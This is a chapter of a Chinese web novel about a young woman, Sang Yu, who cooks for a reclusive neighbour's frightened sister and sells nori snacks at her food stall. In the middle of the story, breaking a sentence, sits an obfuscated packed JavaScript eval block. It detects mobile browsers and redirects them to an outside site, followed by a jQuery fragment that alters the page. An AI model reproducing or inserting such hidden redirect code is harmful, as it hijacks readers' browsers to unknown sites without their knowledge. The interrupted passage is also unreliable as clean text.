桑榆听完沉默,谢舟已经猜到她的想法。
于是提出可以把船租给她一用。
“把船租给我,那你怎么办?”他不是要靠这船出行给人修船做木活吗?租给她,那他自己用什么?
“有个客人前几日换了新船,将旧船折价卖给了我,所以你无须担心我无船可用。”
桑榆想和他谈租金问题,他却要求换种形式给租金。
“最近接了个新活,大概要去五天。”
听这意思他要出远门,家里那位岂不是无人照看,搞不好像上回一样丢了也不一定,“那你阿姐——”
“我托樊阿奶每日上去照看,不过她爱吃你做的饭,希望你每天做晚饭的时候,能顺便给她做一份。”
每天管他姐一顿饭就能抵租船费,反正他们姐弟俩自己也是要做饭的,多一副碗筷的事。桑榆当然从善如流答应。
樊阿奶人还挺好,答应替他照看他姐。
虽然这些日子接触下来她也对樊婆子与人为善,为人处世实诚爽利有所了解,但对村里人人避之唯恐不及的“疯子”,她也能做到一点也不嫌弃,还帮忙照看的程度,属实不容易。
说曹操,曹操的儿子到。
“什么顺便做一份啊?做饭吗?我也要我也要,你要给谢瑶姐做晚饭的话,给我也做一份呗?”江一帆不知何时撑着小竹筏往他们这边靠近。
“诶我说,桑榆你怎么不吭声啊,你是不是偏心眼啊,谢哥托你给谢哥他姐做饭,你就乖乖照做,我呢,你就不管了是吧?昨日你们收摊回来,我在岸边明明让你晚上记得给我留点鸡肉,想不到你们居然连块鸡皮都没留给我,全吃光了。”
“没办法,昨晚做得少,谢瑶姐突然过来了,剩下那份板栗鸡全都给她吃了。你想吃的话,下次吧。”
“下次?下次做板栗鸡是什么时候啊?”
“……”
最后还是谢舟出手解救了桑榆,“连个人都看不住,吃那么多也是浪费粮食。”
“所以你这次出远门,才特意换了个人,拜托人樊阿奶上去照看谢瑶姐,对吧?”桑榆配合着他补充了一句。
江一帆这下说不出话来了。
他苦笑了声,这事不都早揭过去了吗,谢哥怎么还记仇呢?
这几天上去送饭,桑榆总算看出点端倪。
在山上的木屋中,桑榆第一次见到“正常”状态下的谢瑶。
不再是灰头土脸,脏衣泥鞋,不再用一双受到惊吓的眼睛看人,也不再整个身子像上回见面般,怯生生地抖得跟风吹梧桐叶般。
待在家中的她,粗布麻衣,却整洁干净、发髻被梳起,眼下的泪痣平添几分忧郁,一张鹅蛋脸娟秀安静,只是显得了无生气。
仔细一看,姐弟俩有着颇为相似的脸,只是谢舟浓眉大眼,五官看上去更为硬朗,一副不好惹的长相,而谢瑶一看却是个被风一吹就会倒的性子,经不起任何一点风雨的刺激。
一开始她见到桑榆来,连门都不愿意打开,后来她就直接将饭菜放在门外,敲了三下门,示意她记得出来取饭便离开,偶尔见樊婆子去看她还会托她一起将饭带上去。
许是樊婆子对她说了什么,谢瑶后来才放下戒心来。
第四天的时候,等桑榆再去送饭,她终于出来开门,虽然一见面仍是见生人的忸怩,手不知该往哪里放的拘谨表情。
谢瑶的手刚接过篮子,如获大赦似的,连院子外面的大门都没关严实,立马转身,拔腿就往里屋跑,仿佛后面有洪水猛兽在追赶她。
透过不小的门缝,里边的人闪得飞快,路过庭院一棵大树下,树藤歪七扭八在脚下盘旋而过。
桑榆直觉不妙,果然,没跑出两步,她就被自己的裙角绊倒在地,连带着食篮里盖着的汤都洒了一地。
她还没爬起来,手去够食篮,没够着,篮子已经被人先一步捡了起来。
桑榆要去扶她起来,她却腾一下从地上爬起,后退几步,脸上是惊恐的眼神,流露出怕被桑榆责备的战战兢兢。
“对不起对不起,我不是故意的,我不是故意的,真的不是故意的……”
说完直接跑进了屋里。
刚才汤碗洒出来了,捡起来后碗里只剩下一半汤,桑榆收拾好,拿着食篮进了屋。
她一边走一边打量院子周围,柴火一摞一摞方方整整地叠起,晾衣绳上晒着女子衣服,床被和枕头,为了预防枕头掉下晾衣绳,还特地拿绳子绑了四个枕头角。
今日樊婆子家里有事,来不了,托桑榆一同上门看她有没有按时洗漱吃饭。
既然她没来过,院子里这些被子枕头就不是樊婆子帮谢瑶晒的,而谢舟都走了三天了,更不可能是他拿出来晒的,那就只能是谢瑶自己本人了。
看来这谢瑶并不像传闻中那么“疯起来简直比疯母牛还可怕”,至少是个勤快的人。
进了里屋,桑榆一眼就瞥见屏风后面露出的裙角,知是躲在屏风后面的定是谢瑶,不敢见人成这样,能让她主动发起攻击,对方怎么样也得是和她有深仇大恨的人,桑榆眼前闪过上回那个刀疤男的侧脸,凶狠,充满戾气。
见谢瑶这么怕人,桑榆也不在意,将篮子放在桌子上,环视左右,屋子虽不大,却打扫得很干净。橱柜桌椅摆放整齐,虽不是最新的,却结实耐用,至少比桑榆家的老古董要强上许多。
两个房间里各摆着一张床,从外头看进去,一张是和她新做的那张差不多的架子床,看上去精巧别致,显然做床的人很是用了些心思,床顶垂下深色的幔帐,遮光良好,旁边虽有窗,但关得紧紧的。
另一个房间的那张床则简单得多,没有幔帐,没有花纹,只能看出是原木做的,但是床身很长,不难看出床的主人身量很高。床下隐约露出个箱子一角,还上了锁,桑榆认出这是谢舟上回带去她家做木床的那一个,里边应该是放了做木活的利器。
她转到厨房,经过院子见一个小木屋外堆着一些木头,不太像寻常的干柴,应该是别有用途的木材。
厨房有一篮子满满的鸡蛋,灶台上两小捆树枝干柴被码得整整齐齐,谢舟家厨房柴米油盐倒是样样具备。
桑榆想到刚才那碗洒了的紫菜贻贝汤,拿来汤碗,重新打了个鸡蛋,又从自己炸的紫菜里择了几块扔下去做了个紫菜鸡蛋汤,倒进剩下半碗的汤水,很快,紫菜鸡蛋汤马上浮起来几个肉厚鲜嫩的贻贝,看起来比先前更可口。
谢瑶一直躲在屏风后不肯出来见人。
一直到闻到饭菜香。
吮指香辣贻贝的贝肉很厚,壳肉一进入口腔,嘴里立即弥漫着姜丝、辣香、蒜香、虾香的味道,咬一口,汁水爆出,海鲜味四溢,口感爽嫩。
谢瑶和小吃摊其他吃过吮指香辣贻贝的客人一样,不过片刻,一盘贻贝就剩一盘青黛色的贝壳。
吃饱了,连看人的眼神都变得柔和起来。
桑榆在她吃饭期间,跟她交代了几句烧水洗漱之类的话,她边吃边点头应下。
樊婆子先前跟她说过,这几日谢瑶病情好些了,没怎么发作,能自己完成洗漱这类简单的活计,不用在一旁盯着她。
“谢谢,很好吃。”
在桑榆收拾碗筷进食篮里,正准备回去的时候,意外听到这句,回眸见到谢瑶羞涩低头。
桑榆对她扬唇笑了笑,谢瑶才略微抬起头,看她的眼神比饭前少了几分局促,可还是有着一丝不安。
走出院子时,她经过窗下,看到里面的谢瑶。
她吃完饭像入定了般,往椅子上一坐,双目无神地盯着窗下一棵桑葚树,看上去好像很孤单。
快下山的时候,桑榆才想起身上还带着自己做的海苔碎,方才忘记拿些给谢瑶。
这海苔成了最近桑泽最喜欢吃的零食,她出摊的时候总怕卖完后桑泽没得吃,把嘴巴嘟得老高,便随身装了好些在竹筒里。
罢了,下次再带些给她吧。
这两日除了在小食摊上现做现卖加了虾粉的草衣摊面饼,其他时间桑榆没少往外滩去。
那边的礁石
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994715|178122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
群几乎都被她踏遍,院子里采集的紫菜都晒得差不多了,家里如今积攒了不少干紫菜。
紫菜营养丰富,含有丰富的蛋白质,铁和钙等营养成分,可在这里的沿海渔家中,却很不显眼。
她尝试做了些紫菜蛋饼这类小吃在小食摊上卖,结果大受欢迎。
为了不至于薅光沿海礁石的紫菜,她从第二次采完紫菜开始,就随身带着石灰水。
石灰水的获取同样很简单,只需要将吃完的生蚝壳点燃便可烧成石灰水。
每次采完紫菜,将石灰水洒在光秃秃的浅水海礁岩上,以后紫菜就会附着在礁石上自由生长,繁育出更多的天然美味食材。
这样就不用担心破坏近海礁石的生态,又能保证可持续发展,以后有源源不断的紫菜可以采摘。
紫菜,刚采摘下来的状态和晒干后看上去似乎是两样东西。
紫菜晒干后,会从正青色变成黑紫色。
做成海苔的方法很简单,只需要用剪刀剪成一小块一小块,一方形和三角形为主,偶尔心血来潮桑榆也会剪成太阳花的形状,然后往里面加入盐、糖和油,用筷子搅拌均匀后,再倒入铁锅中,用小火轻炒。
紫菜本就柔软,在小火慢炒下很快发出熟透的沙沙声,变得又酥又脆,这个时候只要抓把白芝麻放进去,再炒一会,就可以出锅了。
拿根竹签串起来,每几块一根,一口一块,吃得不亦乐乎。
海苔碎原本只是做给桑泽当零嘴吃的,没想到他和闻渡在小食摊上吃的时候,吸引来了一些客人的孩子,纷纷吵着让自己爹娘买给自己吃,后来桑榆禁不住太多人打听有没有海苔卖,便把本来做给桑泽吃的海苔拿了一些来卖。
意料之外的是海苔成为黑马,成了小孩大人都爱吃的零嘴。每天出摊除了生腌,打听最多的就是问桑榆什么时候再做海苔来卖。
托桑泽的福,这个月最后几日因这海苔的畅销,家里进账不少。加上之前摆摊卖生腌、草衣摊面饼、酸梅汤等收入,还砍掉了每次出摊的搭船费,开源又节流,现在家中积蓄已经有了九贯钱,外加零钱三百五十七文。
每多一文积蓄,上县城开餐馆的曙光更亮了一分。
桑榆高兴之下,除了置办摆摊的原料外,今日还破天荒买了两匹布,准备为二人置办夏服。
两人的衣服都是从冬季穿过来的,虽然他们之前穷得揭不开锅,冬天的衣服本来也做得不是很厚实,不过随着气温一天比一天高,桑榆看着两人继续穿厚衣服实在汗流浃背,特别是出摊的时候,头上顶着火炉般的太阳,不光她自己热得难受,桑泽也时常累得满头大汗。
两人高高兴兴抱着布匹回家,桑榆打算这两天晚上加加班,给两人赶制两身夏日的的衣服出来。
回去后,她还陪桑泽去樊婆子家挑了一对小黄鸡让他养着,特意挑的母鸡,这样以后两人除了海鲜蔬菜,还有蛋吃。
一群小鸡跟在母鸡后面叽叽喳喳叫个不停,桑泽跟在它们身后挑小鸡挑花了眼,大头和二丫则拿着桑泽给他俩的海苔零嘴,吃得乐不思蜀。
樊婆子看着两个孙子吃得满嘴都是海苔,甚至蹭到了鼻头,摇了摇头,对桑榆道:“昨儿好像看到老李家划着小船也往外滩那边去,回来好像也采了不少紫菜。”
桑榆听明白了樊婆子的暗示,她一点也不意外。
海苔好吃,紫菜也是好吃的。只要吃过的人,很难不被它的特殊风味折服,要不然在最开始发现这东西的时候,也不会因为它价钱昂贵且难得,而成为贵族专享,与平头百姓无缘。
且她的小食摊经常卖紫菜,吃的人多了,自然有人知道海苔的原料来自紫菜。
村民们平时可没少见过桑榆往外滩上去。
不过她早已想好应对的法子。
回去的路上,小家伙逗着两只小鸡玩,欢喜得不得了。
桑榆拎着樊婆子给的两条鲫鱼,想起方才从樊婆子提起的的关于谢瑶从前的事,方觉出这世道的荒谬,以及人心可以险恶到何种地步。